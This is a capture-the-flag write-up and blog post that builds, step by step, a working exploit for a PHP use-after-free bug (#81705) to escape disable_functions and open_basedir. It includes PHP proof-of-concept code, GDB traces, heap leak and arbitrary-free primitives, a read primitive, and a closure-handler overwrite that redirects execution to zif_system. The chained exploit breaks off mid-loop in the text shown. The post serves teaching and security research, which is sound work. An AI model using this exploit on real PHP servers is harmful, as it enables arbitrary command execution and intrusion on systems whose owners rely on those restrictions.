Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

In the land of PHP you will always be (use-after-)free

6 April 2022 at 12:37

Dear Fellowlship, today’s homily is about the quest of a poor human trying to escape the velvet jail of disable_functions and open_basedir in order to achieve the holy power of executing arbitrary commands. Please, take a seat and listen to the story of how our hero defeated PHP with the help of UAF The Magician.

Prayers at the foot of the Altar a.k.a. disclaimer

First of all we have to apologize because of our delay on the publication date: this post should have been released 7 days ago.

The challenge was solved only by @kachakil and @samsa2k8, you can read their approach here. About 7-8 users were participating actively during the whole week, and only 2 (plus the winners) were in the right direction to get the flag, although everyone tried to use known exploits. Our intention was to avoid that and force people to craft their exploits from scratch but… a valid flag is a valid flag :).

We are going to keep releasing different challenges during the year, so keep an eye. We promise to add a list of winners in our blog :D

In case you did not read our tweet with the challenge, you can deploy it locally with docker and try to solve it.

And last but not least, it is CRUCIAL TO READ THIS ARTICLE BEFORE: A deep dive into disable_functions bypasses and PHP exploitation. Tons of details about disable_functions and the exploit methodology is explained in depth in that article, so this information is not going to be repeated here. Be wise and stop reading the current post until you end the other.

Prologue

The intention of this first challenge was to highlight something that is pretty obvious for some of us but that others keep struggling to accept: disabling “well-known” functions and restricting the paths through open_basedir IS TRIVIAL TO BYPASS. People does not realize how easy they are to bypass. If you have a web platform that have vulnerabilities that could lead to the execution of arbitrary PHP, you are fucked. PHP is so full of “bugs” (we will not call them “vulnerabilities”) in their own internals that it costs less than 5 minutes to find something abusable to bypass those restrictions.

Of course disabling functions is usefull and highly recommended because it is going to block most of script kiddies trying to pwn your server with the last vulnerability affecting a framework/CMS, but keep in mind that for a real attacker this is not going to stop him. And also this applies for pentesters and Red Teamers.

If you, our dearest reader, wonder about what sophisticated techniques we follow to identify “happy accidents” that can be used for bypassing… fuzzing? code review? Nah! Just go to the PHP bug tracker and search for juicy keywords and then sort by date:

Results for use-after-free on PHP bugtracker
Results for "use-after-free" on PHP bugtracker

In our case the first one (Bug #81705 type confusion/UAF on set_error_handler with concat operation) can fit our needs as the function set_error_handler is enabled.

Dream Theater - The root of all evil

The issue and the root cause are well explained in the original report, so we are going to limit ourselves by quoting the original text:

Here is a proof of concept for crash reproduction:

<?php

$my_var = str_repeat("a", 1);
set_error_handler(
    function() use(&$my_var) {
        echo("error\n");
        $my_var = 0x123;
    }
);
$my_var .= [0];

?>

If you execute this snippet, it should cause SEGV at address 0x123.

(…)

When PHP executes the line $my_var .= [0];, it calls concat_function defined in Zend/zend_operators.c to try to concat given values. Since the given values may not be strings, concat_functiontries to convert them into strings with zval_get_string_func.

ZEND_TRY_BINARY_OBJECT_OPERATION(ZEND_CONCAT);
	ZVAL_STR(&op1_copy, zval_get_string_func(op1));
	if (UNEXPECTED(EG(exception))) {
		zval_ptr_dtor_str(&op1_copy);
		if (orig_op1 != result) {
			ZVAL_UNDEF(result);
		}
		return FAILURE;
	}

If the given value is an array, zval_get_string_func calls zend_error.

case IS_ARRAY:
	zend_error(E_WARNING, "Array to string conversion");
	return (try && UNEXPECTED(EG(exception))) ?
	NULL : ZSTR_KNOWN(ZEND_STR_ARRAY_CAPITALIZED);

Because we can register an original error handler that is called by zend_error by using set_error_handler, we can run almost arbitrary codes DURING concat_function is running.

In the above PoC, for example, $my_var will be overwritten with integer 0x123 when zend_error is triggered. concat_function, however, implicitly assumes the variables op1 and op2 are always strings, and thus type confusion occurs as a result.

Also is needed to quote this message from cmb in the same thread that clarifies the UAF situation:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator). For the script from comment 1641358352[2], that decreases the refcount to zero, but on shutdown, the literal stored in the op array will be released again. If that script is modified to use a dynamic value (range(1,4) instead of [1,2,3,4]), its is already freed, when that code in concat_function() tries to release it again.

[1] https://github.com/php/php-src/blob/php-8.1.1/Zend/zend_operators.c#L1928
[2] https://bugs.php.net/bug.php?id=81705#1641358352

So far we have a reproducible crash and primer for an exploit (in the same thread) from which we can draw ideas. In order to start building our exploit we are going to download PHP and compile it with debug symbols and without optimizations.

cd ../php-7.4.27/
./configure --disable-shared  --without-sqlite3 --without-pdo-sqlite
sed -i "s/ -O2 / -O0 /g" Makefile
make -j$(proc)
sudo make install

Here is my env (yes we are using an older version but do not worry in the epilogue we fix it :P):

PHP 7.4.27 (cli) (built: Feb 12 2022 16:45:41) ( NTS ) 
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

Let’s run the reproducible crash on GDB using php-cli:

   1860	 			}
   1861	 			op2 = &op2_copy;
   1862	 		}
   1863	 	} while (0);
   1864	 
          // op1=0x007fffffff70c0  →  [...]  →  0x0000000000000123
  1865	 	if (UNEXPECTED(Z_STRLEN_P(op1) == 0)) {
   1866	 		if (EXPECTED(result != op2)) {
   1867	 			if (result == orig_op1) {
   1868	 				i_zval_ptr_dtor(result);
   1869	 			}
   1870	 			ZVAL_COPY(result, op2);
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44039 in concat_function (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44039  concat_function(result=0x7ffff3e55608, op1=0x7ffff3e55608, op2=0x7fffffff7400)
[#1] 0x555555caf4d1  zend_binary_op(op2=0x7ffff3e911d0, op1=0x7ffff3e55608, ret=0x7ffff3e55608)
[#2] 0x555555caf4d1  ZEND_ASSIGN_OP_SPEC_CV_CONST_HANDLER()
[#3] 0x555555cfb267  execute_ex(ex=0x7ffff3e13020)
[#4] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e80380, return_value=0x0)
[#5] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#6] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#7] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)
[#8] 0x555555d026e5  main(argc=0x2, argv=0x55555678a350)

We can confirm that the issue is present. If we check the original PoC reported on that bug tracker thread we can see this:

// Just for attaching a debugger.
// Removing these lines makes the exploit fail,
// but it doesn't mean this exploit depends on fopen.
// By considering the heap memory that had been allocated for the stream object and
// adjusting heap memory, the exploit will succeed again.

$f = fopen(php://stdin, r); 
fgets($f);

$my_var = [[1,2,3,4],[1,2,3,4]];
set_error_handler(function() use(&$my_var,&$buf){
    $my_var=1;
    $buf=str_repeat(xxxxxxxx\x00\x00\x00\x00\x00\x00\x00\x00", 16);
});
$my_var[1] .= 1234;

$my_var[1] .= 1234;

$obj_addr = 0;
for ($i = 23; $i >= 16; $i--){
    $obj_addr *= 256;
    $obj_addr += ord($buf[$i]);
}

This code can be adapted to confirm the UAF issue. In our case we can edit it to leak 0x100 bytes of memory:

<?php

function leak_test() {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 255;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= 1337; 
    return $buf;
}


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


print leak_test();

?>

When we print the $buf variable we can see memory leaked (the pointer in the hex dump is a clear indicator of it -also this pointer is a good leak of the heap-):

➜  concat-exploit php blog01.php | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000010: 6019 40b8 8f7f 0000 0601 0000 0000 0000  `.@.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

Keep in mind that PHP believes this $buf is a string so we can access to read/modify bytes in memory by just $buff[offset]. This means we have a relative write/read primitive that we need to weaponize.

The Primitives - Crash

Once we have identified the vulnerability and how to trigger it we need to find a way to get arbitrary read and write primitives. To build our exploit we are going to follow a similar schema as the exploit that Mm0r1 created for the BackTrace bug (the exploit is explained in depth in the article linked at the beggining of this post, so go and read it!).

If you remember this fragment from the quoted thread:

The problem is that result gets released[1] if it is identical to op1_orig (which is always the case for the concat assign operator)

We can take advantage of this to get the ability to release memory at our will. As we saw with the 0x123 crash example, we can forge a fake value that is going to be passed to the PHP internal functions in charge to release memory. Let’s build a De Bruijn pattern using ragg2 and use it:

<?php

function free() {

         $contiguous = [];
            for ($i = 0; $i < 10; $i++) {
                $contiguous[] = alloc(0x100, "D");
            }
        $arr = [[1,3,3,7], [5,5,5,5]];
        set_error_handler(function() use (&$arr, &$buf) {
            $arr = 1;
            $buf = str_repeat("AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
        });
        $arr[1] .= 1337;
        
    }


function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}




print free();

?>

Fire in the hole!

─────────────────────────────────────────────────────────────────────────────────────────────── source:/home/vagrant/E[...].h+1039 ────
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  →  0x4141484141474141
  1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f  zend_gc_delref(p=0x4141484141474141)
[#1] 0x555555b44b2f  i_zval_ptr_dtor(zval_ptr=0x7ffff3e5cba8)
[#2] 0x555555b44b2f  concat_function(result=0x7ffff3e5cba8, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b  zend_binary_op(op2=0x7ffff3e97390, op1=0x7ffff3e5cba8, ret=0x7ffff3e5cba8)
[#4] 0x555555caf02b  ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257  execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)

As we can see part of our pattern arrived to the zend_gc_delref function and crashed. This function tries to decrease the reference counter, and it is called from i_zval_ptr_dtor:

static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr)
{
	if (Z_REFCOUNTED_P(zval_ptr)) {
		zend_refcounted *ref = Z_COUNTED_P(zval_ptr);
		if (!GC_DELREF(ref)) {
			rc_dtor_func(ref);
		} else {
			gc_check_possible_root(ref);
		}
	}
}

This function is used to destroy the variable passed as argument (a pointer to the desired zval, we can see the pointer is the same used as result in the concatenation). In our case a pointer to part of the faked contents at $buf. So if we change that part for “X” we should verify that we can control what is going to be released:

 $buf = str_repeat("AAABAACAADAAEAAF" . XXXXXXXX . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
   1034	 	ZEND_RC_MOD_CHECK(p);
   1035	 	return ++(p->refcount);
   1036	 }
   1037	 
   1038	 static zend_always_inline uint32_t zend_gc_delref(zend_refcounted_h *p) {
          // p=0x007fffffff72b8  →  0x5858585858585858
  1039	 	ZEND_ASSERT(p->refcount > 0);
   1040	 	ZEND_RC_MOD_CHECK(p);
   1041	 	return --(p->refcount);
   1042	 }
   1043	 
   1044	 static zend_always_inline uint32_t zend_gc_addref_ex(zend_refcounted_h *p, uint32_t rc) {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "php", stopped 0x555555b44b2f in zend_gc_delref (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555b44b2f  zend_gc_delref(p=0x5858585858585858)
[#1] 0x555555b44b2f  i_zval_ptr_dtor(zval_ptr=0x7ffff3e5d328)
[#2] 0x555555b44b2f  concat_function(result=0x7ffff3e5d328, op1=0x7fffffff7310, op2=0x7fffffff7320)
[#3] 0x555555caf02b  zend_binary_op(op2=0x7ffff3e95390, op1=0x7ffff3e5d328, ret=0x7ffff3e5d328)
[#4] 0x555555caf02b  ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER()
[#5] 0x555555cfb257  execute_ex(ex=0x7ffff3e13020)
[#6] 0x555555cfe6e6  zend_execute(op_array=0x7ffff3e802a0, return_value=0x0)
[#7] 0x555555b5213c  zend_execute_scripts(type=0x8, retval=0x0, file_count=0x3)
[#8] 0x555555a8a8ae  php_execute_script(primary_file=0x7fffffffcbe0)
[#9] 0x555555d012b1  do_cli(argc=0x2, argv=0x55555678a350)

At this point we can:

  1. Leak a pointer from memory
  2. Free arbitrarily

We can use the leaked pointer to know the location of another variable that we allocate as placeholder and then free that variable.

<?php

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    print "\n[+] Before free:\n";
    debug_zval_dump($this->placeholder);
    $this->free($placeholder_addr);
    print "\n[+] After free:\n";
    debug_zval_dump($this->placeholder);
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F"); // 0x4F - 5 from the length of "Array" string concatenated
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

And we can see that it worked:

  concat-exploit php blog03.php 
[+] Concated string address:
0x7f763f27a070
[+] Placeholder string address:
0x7f763f27a150
[+] Before free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(2)

[+] After free:
string(79) "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" refcount(1059561697)

As we said before, we are going to build step by step an exploit similar to the one explained in the article A deep dive into disable_functions bypasses and PHP exploitation, reusing as much as we can. So we are going to take advantage of our ability to free memory to create a hole that is going to be occupied by an object that we are going to use for reading/writing arbitrary memory. As we know where the hole is (the address of the placeholder, that is calculated applying an offset to the leaked address), we can access to the properties’ memory contents directly ($placeholder[offset]) and use them to leak memory at any desired address. We can perform an easy test:

<?php

class Helper { public $a, $b, $c, $d; }  

class exploit {
public function __construct($cmd) {
    $concat_result_addr = $this->leak_heap();
    print "[+] Concated string address:\n0x";
    print dechex($concat_result_addr);
    $this->placeholder = $this->alloc(0x4F, "B");
    $placeholder_addr = $concat_result_addr+0xe0;
    print "\n[+] Placeholder string address:"; 
    print "\n0x".dechex($placeholder_addr);
    $this->free($placeholder_addr);
    $this->helper = new Helper;
    $this->helper->a = "KKKK";
}


private function leak_heap() {
	$contiguous = [];
 		for ($i = 0; $i < 10; $i++) {
			$contiguous[] = $this->alloc(0x100, "D");
 		}
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf) {
        $arr = 1337;
        $buf = str_repeat("\x00", 0x100);
    });
    $arr[1] .= $this->alloc(0x4A, "F");
    return $this->str2ptr($buf, 16);
}


private function free($var_addr) {
    $contiguous = [];
        for ($i = 0; $i < 10; $i++) {
            $contiguous[] = $this->alloc(0x100, "D");
        }
    $arr = [[1,3,3,7], [5,5,5,5]];
    set_error_handler(function() use (&$arr, &$buf, &$var_addr) {
        $arr = 1;
        $buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
    });
    $arr[1] .= 1337;
}


private function alloc($size, $canary) {
    return str_shuffle(str_repeat($canary, $size));
}


private function str2ptr($str, $p = 0, $n = 8) {
    $address = 0;
    for($j = $n - 1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p + $j]);
    }
    return $address;
}

private function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= chr($ptr & 0xff);
        $ptr >>= 8;
    }
    return $out;
}

}

new exploit("haha");
?>

Our new object ($helper) is going to take the location of our $placeholder freed, so we can review the memory at that address:

gef  x/30g 0x7ffff3e7a150
0x7ffff3e7a150:	0x0000001800000001	0x0000000000000004
0x7ffff3e7a160:	0x00007ffff3e03018	0x00005555567527c0
0x7ffff3e7a170:	0x0000000000000000	0x00007ffff3e55ec0 <--- helper->a
0x7ffff3e7a180:	0x0000000000000006	0x8000065301d853e5
0x7ffff3e7a190:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1a0:	0x0000000000000001	0x8000065301d853e5
0x7ffff3e7a1b0:	0x0000000000000001	0x0000000000000000
0x7ffff3e7a1c0:	0x00007ffff3e7a230	0x0000000000000000
0x7ffff3e7a1d0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1e0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a1f0:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a200:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a210:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a220:	0x0000000000000000	0x0000000000000000
0x7ffff3e7a230:	0x00007ffff3e7a2a0	0x0000000000000000

We can see that the property a (that is a string) is located at 0x7ffff3e7a178 (0x7ffff3e7a150 + 0x28). We can verify it:

gef  x/30g 0x00007ffff3e55ec0
0x7ffff3e55ec0:	0x0000004600000001	0x800000017c8778f1
0x7ffff3e55ed0:	0x0000000000000004	0x000072004b4b4b4b <-- 4b == K
0x7ffff3e55ee0:	0x0000004600000001	0x8000000000597a79
0x7ffff3e55ef0:	0x0000000000000002	0x0000000000007a7a
0x7ffff3e55f00:	0x00007ffff3e555c0	0x00007ffff3e60300
0x7ffff3e55f10:	0x00007ffff3e60360	0x0000555556795a50
0x7ffff3e55f20:	0x00007ffff3e55f40	0x0000000000000000
0x7ffff3e55f30:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f40:	0x00007ffff3e55f60	0x0000000000000000
0x7ffff3e55f50:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f60:	0x00007ffff3e55f80	0x0000000000000000
0x7ffff3e55f70:	0x0000000000000000	0x0000000000000000
0x7ffff3e55f80:	0x00007ffff3e55fa0	0x0000000000000000
0x7ffff3e55f90:	0x0000000000000000	0x0000000000000000
0x7ffff3e55fa0:	0x00007ffff3e55fc0	0x0000000000000000

The “KKKK” (4b4b4b4b) string is in that place. In PHP 7 strings are saved inside the structure zend_string that is defined as:

struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1]; // NOT A "char *"
};

So if we interpret this memory as a zend_string we can visualize it better:

gef  print (zend_string)*0x00007ffff3e55ec0
$3 = {
  gc = {
    refcount = 0x1, 
    u = {
      type_info = 0x46
    }
  }, 
  h = 0x800000017c8778f1, 
  len = 0x4, 
  val = "K"
}

As we can overwrite bytes inside the $helper object, we can take advantage of it to overwrite the pointer to the original a string (our “KKKK”) with a pointer to any desired address. After overwriting the pointer, we can read safely the bytes at the address + 0x10 (len field inside zend_string) calling strlen() with our $helper->a. Using this simple trick we can get an arbitrary read primitive:

private function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for ($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
    }
}
private function leak($addr, $p = 0, $s = 8) {
    $this->write($this->placeholder, 0x10, $addr);
    $leak = strlen($this->helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
    }

Iggy & The Stooges - Search And Destroy

The next step in our exploit is to search where the basic_functions structure is located in memory, and then walk it until we find the handler for zif_system or similar functions that allow us the execution of commands. Although this is really well explained in the quoted article, let’s just give it a short explanation here.

In PHP the “basic” functions are grouped into basic_functions for registration, this being an array of zend_function_entry structures. Therefore, in this basic_functions we will have, ultimately, an ordered relationship of function names along with the pointer to them (handlers). The zend_function_entry structure is defined as:

typedef struct _zend_function_entry {
    const char *fname;
    void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
    const struct _zend_internal_arg_info *arg_info;
    uint32_t num_args;
    uint32_t flags;
} zend_function_entry;

So the first member is a pointer to a string that contains the function name, and the next member is a handler to that function. In order to identify a member of the basic_functions structure we can follow the next approach:

  1. Read 8 bytes from an address —> Interpret those bytes as a pointer –> Read 8 bytes at the pointed memory
  2. Does the 8 bytes match our needle (bin2hex function name) ? If it doesn’t, increase the address by 8 and repeat 1

It can be translated to:

private function get_basic_funcs($base) {
    for ($i = 0; $i < 0x6700/8; $i++) {
        $leak = $this->leak($base - $i * 8);
        if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
            $deref = $this->leak($leak);
            if ($deref != 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
                continue;
            }
        } else continue;
        return $base - ($i-2) * 8;
    }
}

Once we have found where the zend_function_entry that holds the information for bin2hex() is located, we can repeat the process to locate the handler for zif_system:

    private function get_system($basic_funcs) {
    $addr = $basic_funcs;
    $i = 0;
    do {
        $f_entry = $this->leak($addr-0x10);
        $f_name = $this->leak($f_entry);
        if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
            return $this->leak($addr + 8-0x10);
        }
        $addr += 0x20;
        $i += 1;
    } while ($f_entry != 0);
    return false;
}

Another aproach to locate the zif_system handler could be to just apply a pre-known offset to the zend_function_entry for bin2hex because the entries in the array are ordered.

Van Halen - Jump

Our exploit has all the ingredients ready, except from the last one: jumping into the target function. In order to call zif_system we are going to add a closure to our helper object and overwrite it. Closures are anonymous functions with the following structure:

typedef struct _zend_closure {
    zend_object std;
    zend_function func;
    zval this_ptr;
    zend_class_entry *called_scope;
    zif_handler orig_internal_handler;
} zend_closure;

If we look carefully we can see that one of the members is a zend_function structure:

union _zend_function {
	zend_uchar type;	/* MUST be the first element of this struct! */
	zend_op_array op_array;
	zend_internal_function internal_function;
};

And zend_internal_function is:

typedef struct _zend_internal_function {
    /* Common elements */
    zend_uchar type;
    zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
    uint32_t fn_flags;
    zend_string* function_name;
    zend_class_entry *scope;
    zend_function *prototype;
    uint32_t num_args;
    uint32_t required_num_args;
    zend_internal_arg_info *arg_info;
    /* END of common elements */
    zif_handler handler;
    struct _zend_module_entry *module;
    void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;

We can see the handler member. So the plan is easy:

  1. Copy the original zend_closure structure to other part
  2. Patch the $helper object to point to this new location instead of the original
  3. Patch the handler member to point to our zif_system
  4. Call the closure

The resultant code:

//...
$this->helper->b = function ($x) { };
//...
$fake_obj_offset = 0xd8;
for ($i = 0; $i < 0x110; $i += 8) {
	$this->write($this->placeholder, $fake_obj_offset + $i, $this->leak($closure_addr-0x10+$i));
}
$fake_obj_addr = $placeholder_addr +  $fake_obj_offset + 0x18;
print "\n[+] Fake Closure addr:\n0x" . dechex($fake_obj_addr);
$this->write($this->placeholder, 0x20, $fake_obj_addr);
$this->write($this->placeholder, $fake_obj_offset + 0x38, 1, 4); # internal func type
$this->write($this->placeholder, $fake_obj_offset + 0x68, $system); # internal func handler
     
($this->helper->b)($cmd);

Original closure:

gef  print (zend_closure) * 0x7ffff3e5ce00
$5 = {
  std = {
    gc = {
      refcount = 0x1, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
 ...
    internal_function = {
      type = 0x2, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x100000000, 
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Fake closure after patching it:

gef  print (zend_closure) * 0x7ffff3e7a240
$6 = {
  std = {
    gc = {
      refcount = 0x2, 
      u = {
        type_info = 0x18
      }
    }, 
    handle = 0x5, 
    ce = 0x5555567ea530, 
    handlers = 0x55555676daa0 <closure_handlers>, 
...
    internal_function = {
      type = 0x1, 
      arg_flags = "\000\000", 
      fn_flags = 0x2100001, 
      function_name = 0x7ffff3e01960, 
      scope = 0x7ffff3e032a0, 
      prototype = 0x0, 
      num_args = 0x1, 
      required_num_args = 0x1, 
      arg_info = 0x7ffff3e6b0c0, 
      handler = 0x555555965e1b <zif_system>, <---- :D
      module = 0x200000000, 
      reserved = {0x7ffff3e72140, 0x7ffff3e03630, 0x7ffff3e5ce90, 0x0, 0x7ffff3e8d018, 0x7ffff3e8d010}
    }
...

Chaining all together the exploit is:

<?php

class Helper { public $a, $b, $c, $d; } 

class exploit {
    public function __construct($cmd) {
        $concat_result_addr = $this->leak_heap();
        print "[+] Concated string address:\n0x";
        print dechex($concat_result_addr);
        $this->placeholder = $this->alloc(0x4F, "B");
        $placeholder_addr = $concat_result_addr+0xe0;
        print "\n[+] Placeholder string address:"; 
        print "\n0x".dechex($placeholder_addr);
        $this->free($placeholder_addr);
        $this->helper = new Helper;
        $this->helper->a = "KKKK";
        $this->helper->b = function ($x) { };
        print "\n[+] std_object_handlers:\n";
        $std_object_handlers = $this->str2ptr($this->placeholder);
        print "0x" . dechex($std_object_handlers) . "\n";
        $closure_addr = $this->str2ptr($this->placeholder, 0x20);
        print "[+] Closure:\n";
        print "0x" . dechex($closure_addr) . "\n";
       
        $basic = $this->get_basic_funcs($std_object_handlers);
        print "[+] basic_funcs:\n";
        print "0x" . dechex($basic) . "\n";
        $system = $this->get_system($basic);
        print "[+] zif_system:\n";
        print "0x" . dechex($system);

        $fake_obj_offset = 0xd8;
        for ($i = 0; $i < 0x110; $i += 8) {
